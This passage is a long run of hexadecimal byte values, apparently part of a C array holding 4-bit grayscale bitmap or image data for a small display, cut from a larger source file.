0X00, 0X00, 0X03, 0X88, 0XAA, 0XAA, 0XAA, 0XAA, 0XAA, 0XCC, 0XCF, 0XFF, 0XFF, 0XFF, 0XFF, 0XCC, 0XCA, 0XAC, 0XAA, 0XAA, 0XAA, 0XAA, 0XAA, 0XCC, 0XCF, 0XFF, 0XFF, 0XFC, 0XCC, 0XCC, 0XCC, 0XCC, 0XAA, 0XA8, 0X88, 0X86, 0X65, 0X55, 0X56, 0X88, 0X88, 0X86, 0X55, 0X55, 0X33, 0X33, 0X6C, 0XFC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCF, 0XFF, 0XFF, 0XFC, 0XCC, 0XCC, 0XCC, 0XCA, 0XA0, 0X00, 0X00, 0X02, 0X30, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X03, 0X8A, 0XAA, 0XAA, 0X86, 0X53, 0X3A, 0XFC, 0X80, 0X8C, 0XAA, 0X8A, 0XCA, 0X30, 0X00, 0X00, 0X00, 0X00, 0X03, 0X8A, 0XAC, 0XCC, 0XAA, 0XAA, 0XAA, 0X88, 0X8C, 0XCC, 0XAA, 0XCC, 0XCF, 0X80, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X36, 0X88, 0X88, 0XAA, 0X88, 0X8A, 0XCC, 0XCC, 0XFF, 0XFF, 0XC8, 0X63, 0X03, 0X88, 0X88, 0X66, 0X33, 0X33, 0X55, 0X53, 0X33, 0X33, 0X22, 0X00, 0X02, 0X33, 0X68, 0XAA, 0XCC, 0XCC, 0XCC, 0XCC, 0XCA, 0XAA, 0XAA, 0XAA, 0X88, 0X86, 0X65, 0X66, 0X66, 0X66, 0X66, 0X55, 0X33, 0X38, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XFF, 0XFF, 0XFF, 0XFF, 0XCC, 0XCC, 0XCC, 0XCA, 0XA3, 0X00, 0X00, 0X02, 0X30, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X26, 0X53, 0X6C, 0XFC, 0XC6, 0X00, 0X06, 0XCC, 0XCA, 0X8A, 0XAA, 0X52, 0X00, 0X00, 0X00, 0X00, 0X00, 0X35, 0X88, 0XAA, 0XAA, 0XAA, 0X88, 0X53, 0XCC, 0XCA, 0XAC, 0XCC, 0XFC, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X36, 0X68, 0X88, 0X88, 0X88, 0XAC, 0XCC, 0XCF, 0XFA, 0X83, 0X00, 0X00, 0X00, 0X00, 0X02, 0X58, 0X88, 0X88, 0X86, 0X53, 0X33, 0X55, 0X66, 0X66, 0X66, 0X55, 0X55, 0X55, 0X33, 0X33, 0X35, 0X68, 0X8A, 0XAC, 0XCC, 0XCC, 0XCC, 0XAA, 0XAA, 0XA8, 0X88, 0X86, 0X55, 0X55, 0X35, 0X55, 0X53, 0XAC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCF, 0XFF, 0XFF, 0XFF, 0XCC, 0XCC, 0XCC, 0XCA, 0XA8, 0X00, 0X00, 0X03, 0X20, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X83, 0X5C, 0XFC, 0XA8, 0X20, 0X00, 0X00, 0X03, 0X8A, 0XA8, 0X63, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X22, 0X20, 0X22, 0X23, 0X5A, 0XCC, 0XCA, 0XCC, 0XCF, 0XF8, 0X00, 0X00, 0X00, 0X02, 0X35, 0X66, 0X88, 0X85, 0X8A, 0XAC, 0XCC, 0XCC, 0X62, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X03, 0X8A, 0X88, 0X88, 0X88, 0X86, 0X55, 0X55, 0X55, 0X55, 0X55, 0X66, 0X66, 0X66, 0X55, 0X55, 0X55, 0X55, 0X55, 0X88, 0XAA, 0XCC, 0XCC, 0XCC, 0XCA, 0XAA, 0X88, 0X86, 0X55, 0X33, 0X33, 0X5C, 0XCC, 0XCC, 0XCC, 0XCC, 0XCF, 0XFF, 0XFF, 0XFF, 0XFC, 0XCC, 0XCC, 0XCA, 0XAA, 0X80, 0X00, 0X00, 0X20, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X05, 0X56, 0XFC, 0XA3, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X33, 0X35, 0X68, 0XAC, 0XCC, 0XAA, 0XCC, 0XCF, 0XF5, 0X00, 0X00, 0X35, 0X55, 0X68, 0X55, 0X8A, 0XAA, 0XCC, 0XA3, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X35, 0X8A, 0XAA, 0XAA, 0XAA, 0XAA, 0X88, 0X88, 0X88, 0X88, 0X88, 0X88, 0X88, 0X88, 0X88, 0X88, 0X88, 0X86, 0X88, 0X8A, 0XAA, 0XAA, 0XAA, 0XAA, 0XAA, 0XAA, 0X88, 0X86, 0X55, 0X38, 0XCA, 0XAC, 0XCC, 0XCC, 0XCC, 0XFF, 0XFF, 0XFF, 0XFC, 0XCC, 0XCC, 0XCC, 0XA8, 0XA8, 0X00, 0X03, 0X30, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X06, 0X3C, 0XA6, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X05, 0X55, 0X68, 0X8A, 0XA8, 0XCC, 0XCC, 0XAC, 0XCC, 0XCF, 0XC5, 0X23, 0X35, 0X66, 0X53, 0X8A, 0XAA, 0XCA, 0X50, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X25, 0X8A, 0XCC, 0XCC, 0XAA, 0XAA, 0XAA, 0XAA, 0XAA, 0XAA, 0XAA, 0XAA, 0XAA, 0XA8, 0X8A, 0XAA, 0XAA, 0XAA, 0X88, 0X65, 0X53, 0X35, 0X55, 0X55, 0X66, 0X65, 0X55, 0X53, 0X8A, 0XAA, 0XCC, 0XCC, 0XCC, 0XFF, 0XFF, 0XFF, 0XFF, 0XCC, 0XCC, 0XCC, 0XAA, 0X88, 0X83, 0X02, 0X20, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X03, 0X58, 0X80, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X25, 0X66, 0X68, 0XAC, 0XC2, 0X2C, 0XCC, 0XCA, 0XAC, 0XCC, 0XCF, 0XFA, 0X65, 0X33, 0X68, 0XAA, 0XC8, 0X20, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0X35, 0X88, 0XAC, 0XCC, 0XCC, 0XCC, 0XCC, 0XAA, 0X86, 0X68, 0XAA, 0XCC, 0XAA, 0XA8, 0X86, 0X53, 0X58, 0X88, 0XA8, 0X88, 0X88, 0X66, 0X55, 0X53, 0X33, 0X38, 0XAA, 0XCC, 0XCC, 0XCF, 0XFF, 0XFF, 0XFF, 0XFF, 0XCC, 0XCC, 0XCC, 0XAA, 0X88, 0X66, 0X32, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X36, 0X80, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X36, 0X66, 0X88, 0XAC, 0XA2, 0X00, 0X8C, 0XCC, 0XCA, 0XAA, 0XCC, 0XCC, 0XFC, 0XAA, 0X88, 0XA3, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X25, 0X8C, 0XCC, 0XCC, 0XAA, 0XA8, 0X65, 0X58, 0XAA, 0XCA, 0XAA, 0XAA, 0X88, 0X88, 0X88, 0X88, 0X88, 0X86, 0X55, 0X8C, 0XFC, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XCC, 0XCC, 0XCC, 0XAA, 0XA8, 0X85, 0X33, 0X30, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0X22, 0X22, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X26, 0X68, 0X88, 0XCC, 0X50, 0X00, 0X02, 0X8C, 0XCC, 0XCC, 0XAA, 0XAC, 0XCC, 0XCF, 0XFC, 0X50, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X35, 0X8A, 0XCC, 0XCC, 0XCC, 0XAA, 0XA8, 0X88, 0X66, 0XAC, 0XCC, 0XCC, 0XCC, 0XAA, 0XAA, 0XCC, 0XCC, 0XCC, 0XCA, 0X88, 0X65, 0X33, 0X3F, 0XFF, 0XFF, 0XFF, 0XFF, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XAA, 0X88, 0X86, 0X32, 0X30, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X26, 0XAC, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XCC, 0X86, 0X30, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X05, 0X66, 0X6A, 0XC6, 0X00, 0X00, 0X00, 0X03, 0XAC, 0XAA, 0XCC, 0XAA, 0XAA, 0XCC, 0XCC, 0XCF, 0XFC, 0X85, 0X20, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0X58, 0XAC, 0XCF, 0XCC, 0XCC, 0XCC, 0XAA, 0XA8, 0X88, 0X88, 0X88, 0XAC, 0XCC, 0XCC, 0XCC, 0XAC, 0XCC, 0XCC, 0XCC, 0XCC, 0XA8, 0X65, 0X66, 0X66, 0X66, 0X5F, 0XFF, 0XFF, 0XFF, 0XFC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XAA, 0X88, 0X65, 0X33, 0X20, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0XAF, 0XFF, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCF, 0XFF, 0XFF, 0XFA, 0X62, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X56, 0X68, 0XA0, 0X00, 0X00, 0X00, 0X33, 0X35, 0X8A, 0XAA, 0XAA, 0XCA, 0XA8, 0XAA, 0XCC, 0XCC, 0XCC, 0XFF, 0XCC, 0XA8, 0X53, 0X22, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X22, 0X35, 0X88, 0XAC, 0XCF, 0XFF, 0XCC, 0XCC, 0XCC, 0XCA, 0XAA, 0X88, 0X88, 0X88, 0X88, 0X8A, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCF, 0XFC, 0XA8, 0X66, 0X66, 0X88, 0X8A, 0XA8, 0X53, 0X2C, 0XFF, 0XFF, 0XFF, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCA, 0XA8, 0X88, 0X65, 0X33, 0X30, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0XCC, 0XCC, 0XCC, 0XAA, 0XAA, 0XAA, 0XAA, 0X8A, 0XAA, 0XAA, 0XAC, 0XCC, 0XCC, 0XCF, 0XFF, 0XFA, 0X30, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X23, 0X50, 0X00, 0X00, 0X23, 0X33, 0X55, 0X33, 0X88, 0XAA, 0XAA, 0XAA, 0XAA, 0XA8, 0X8A, 0XAA, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCF, 0XFC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCF, 0XFF, 0XFF, 0XFF, 0XFC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XAA, 0X88, 0X88, 0X88, 0X88, 0X88, 0X88, 0X68, 0XCC, 0XCC, 0XCC, 0XAC, 0XCC, 0XCC, 0XFF, 0XC5, 0X35, 0X68, 0X88, 0X8A, 0XAA, 0XC8, 0X32, 0X33, 0X3A, 0XFF, 0XFF, 0XFF, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XAA, 0XA8, 0X86, 0X53, 0X32, 0X30, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X8C, 0XAA, 0X88, 0X88, 0X88, 0X88, 0X88, 0X88, 0X88, 0X88, 0X88, 0X88, 0X88, 0X8A, 0XCC, 0XCC, 0XCF, 0XFF, 0XC6, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X03, 0X33, 0X55, 0X53, 0X68, 0X8A, 0X83, 0X6A, 0XAA, 0XAA, 0XAA, 0XAA, 0XAA, 0X88, 0X88, 0X8A, 0XAA, 0XAC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCA, 0XAA, 0XA8, 0X88, 0X88, 0X88, 0X88, 0X88, 0X88, 0X88, 0X63, 0X03, 0XAC, 0XCC, 0XCC, 0XAC, 0XCC, 0XCF, 0XFC, 0X80, 0X05, 0X88, 0X88, 0X8A, 0XAC, 0XC8, 0X32, 0X33, 0X35, 0X58, 0XFF, 0XCF, 0XFC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XAA, 0X88, 0X88, 0X88, 0X53, 0X36, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X0A, 0X88, 0X86, 0X86, 0X65, 0X53, 0X33, 0X32, 0X22, 0X23, 0X33, 0X33, 0X55, 0X66, 0X88, 0X88, 0X8A, 0XCC, 0XCC, 0XFF, 0XFC, 0X30, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0X33, 0X55, 0X53, 0X58, 0X88, 0XA3, 0X00, 0X00, 0X03, 0X58, 0XAA, 0XAA, 0XAA, 0XAA, 0XAA, 0XAA, 0X88, 0X88, 0X88, 0X88, 0X88, 0X88, 0X88, 0X88, 0X88, 0X88, 0X88, 0X88, 0X88, 0X88, 0X88, 0X88, 0X88, 0X88, 0X88, 0X86, 0X66, 0X65, 0X30, 0X00, 0X8C, 0XCC, 0XCC, 0XAC, 0XCC, 0XCF, 0XFA, 0X30, 0X03, 0X88, 0X88, 0X8A, 0XCC, 0XCA, 0X32, 0X33, 0X33, 0X56, 0X86, 0X8F, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCA, 0XA8, 0XAC, 0XCC, 0XA8, 0X88, 0X8C, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X86, 0X55, 0X33, 0X20, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X22, 0X33, 0X56, 0X88, 0X88, 0XAC, 0XCC, 0XCF, 0XFF, 0XA2, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X33, 0X35, 0X53, 0X36, 0X88, 0XA8, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X23, 0X58, 0X8A, 0XAA, 0XAA, 0XAA, 0XAA, 0XA8, 0X88, 0X88, 0X88, 0X88, 0X88, 0X88, 0X88, 0X88, 0X88, 0X88, 0X88, 0X88, 0X86, 0X63, 0X33, 0X35, 0X56, 0X65, 0X30, 0X00, 0X3A, 0XAA, 0XCC, 0XAC, 0XCC, 0XCF, 0XFA, 0X00, 0X00, 0X68, 0X8A, 0X8A, 0XCC, 0XCC, 0X32, 0X23, 0X33, 0X36, 0X68, 0X80, 0X0C, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XAA, 0XAC, 0XCC, 0XCC, 0XAA, 0XC8, 0XAC, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X06, 0X53, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0X33, 0X68, 0X88, 0X8A, 0XCC, 0XCC, 0XFF, 0XF8, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X33, 0X35, 0X55, 0X35, 0X88, 0X8A, 0X50, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0X23, 0X33, 0X35, 0X55, 0X56, 0X55, 0X56, 0X66, 0X55, 0X55, 0X33, 0X33, 0X33, 0X22, 0X20, 0X00, 0X00, 0X00, 0X35, 0X66, 0X66, 0X30, 0X00, 0X06, 0XAA, 0XAC, 0XAA, 0XCC, 0XCC, 0XFA, 0X00, 0X00, 0X08, 0X88, 0X88, 0XAC, 0XCF, 0X80, 0X23, 0X33, 0X53, 0X68, 0X8A, 0X20, 0X00, 0XCC, 0XAC, 0XCA, 0XAA, 0XCC, 0XCC, 0XCC, 0XAC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCA, 0X8C, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X20, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X23, 0X36, 0X88, 0X88, 0XAC, 0XCC, 0XCF, 0XFC, 0X30, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X23, 0X33, 0X55, 0X35, 0X88, 0X8A, 0XA2, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X36, 0X88, 0X85, 0X20, 0X00, 0X00, 0X8A, 0XAA, 0XCA, 0XCC, 0XCC, 0XFC, 0X20, 0X00, 0X00, 0X88, 0XA8, 0X8C, 0XCF, 0XC0, 0X00, 0X33, 0X35, 0X36, 0X88, 0XA5, 0X00, 0X00, 0X2A, 0XAA, 0XAA, 0XAA, 0XAC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCF, 0XC8, 0X6C, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0X33, 0X68, 0X88, 0X8A, 0XCC, 0XCF, 0XFF, 0XA2, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X23, 0X33, 0X55, 0X35, 0X88, 0X8A, 0XA6, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0X58, 0X88, 0X85, 0X20, 0X00, 0X00, 0X06, 0XAA, 0XAC, 0XAC, 0XCC, 0XCF, 0X80, 0X00, 0X00, 0X06, 0X8A, 0X8A, 0XCC, 0XF8, 0X00, 0X02, 0X33, 0X55, 0X58, 0X88, 0XA0, 0X00, 0X00, 0X00, 0X88, 0X88, 0X88, 0XAC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XF8, 0X6A, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X23, 0X56, 0X88, 0X88, 0XAC, 0XCC, 0XFF, 0XF8, 0X20, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0X33, 0X35, 0X53, 0X35, 0X88, 0X8A, 0XAA, 0X20, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0X22, 0X22, 0X22, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0X68, 0XAA, 0X83, 0X00, 0X00, 0X00, 0X00, 0X3A, 0XAA, 0XA8, 0XCC, 0XCC, 0XF2, 0X00, 0X00, 0X00, 0X58, 0XA8, 0XAC, 0XCF, 0X20, 0X00, 0X03, 0X33, 0X53, 0X68, 0X8A, 0X30, 0X00, 0X00, 0X00, 0X03, 0X66, 0X68, 0XAA, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XC8, 0X8C, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0X35, 0X68, 0X88, 0X8A, 0XCC, 0XCF, 0XFF, 0X82, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X23, 0X33, 0X55, 0X33, 0X58, 0X88, 0X8A, 0XAA, 0X30, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X23, 0X5A, 0XCC, 0XCC, 0XA8, 0X30, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X03, 0X8A, 0XAA, 0X83, 0X00, 0X00, 0X00, 0X00, 0X00, 0X88, 0XAA, 0X8C, 0XCC, 0XFC, 0X00, 0X00, 0X00, 0X02, 0X88, 0X88, 0XCC, 0XC0, 0X00, 0X00, 0X03, 0X33, 0X53, 0X88, 0X8A, 0X00, 0X00, 0X00, 0X00, 0X00, 0X25, 0X55, 0XAA, 0XCC, 0XAC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XC8, 0X8C, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X23, 0X56, 0X88, 0X88, 0XAC, 0XCC, 0XFF, 0XFC, 0X83, 0X00, 0X22, 0X23, 0X33, 0X33, 0X33, 0X55, 0X88, 0X88, 0XAA, 0XCC, 0X50, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X08, 0X88, 0XAC, 0XCC, 0XCC, 0XA5, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X03, 0X8A, 0XCA, 0XAA, 0X30, 0X00, 0X00, 0X00, 0X00, 0X05, 0X88, 0XA8, 0XAC, 0XCC, 0XC0, 0X00, 0X00, 0X00, 0X05, 0X8A, 0X8C, 0XCC, 0X00, 0X00, 0X00, 0X03, 0X33, 0X53, 0X88, 0XA5, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X33, 0X8A, 0XAA, 0XAA, 0XCC, 0XCC, 0XCC, 0XCC, 0XCC, 0XC8, 0X6C, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X23, 0X35, 0X68, 0X88, 0X8A, 0XAC, 0XCC, 0XFF, 0XFC, 0XCA, 0X86, 0X55, 0X56, 0X68, 0X88, 0XAA, 0XAA, 0XA8, 0X30, 0X00, 0X00, 0X8C, 0XA0, 0X00, 0X00, 0X02, 0X68, 0X86, 0X53, 0X00, 0X8A, 0XCC, 0XCC, 0XFC, 0XCC, 0X30, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X03, 0XAC, 0XCC, 0X82, 0X8A, 0X00, 0X00, 0X00, 0X00, 0X00, 0X08, 0X8A, 0XA8, 0XCC, 0XCC, 0X00, 0X00, 0X00, 0X00, 0X06, 0X88, 0XCC, 0XA0, 0X00, 0X00, 0X00, 0X23, 0X33, 0X35, 0X88, 0XA2, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X6A, 0X8A, 0XAA, 0XAA, 0XCC, 0XCC, 0XCC, 0XCC, 0XC8, 0X5A, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X23, 0X56, 0X88, 0X88, 0X8A, 0XAA, 0XAC, 0XCC, 0XCC, 0XCC, 0XCC, 0XCA, 0XAA, 0X88, 0X63, 0X00, 0X00, 0X00, 0X0C, 0XAF, 0XA0, 0X00, 0X00, 0X8A, 0X88, 0X8A, 0X80, 0X00, 0X03, 0X68, 0XAC, 0XCC, 0XCC, 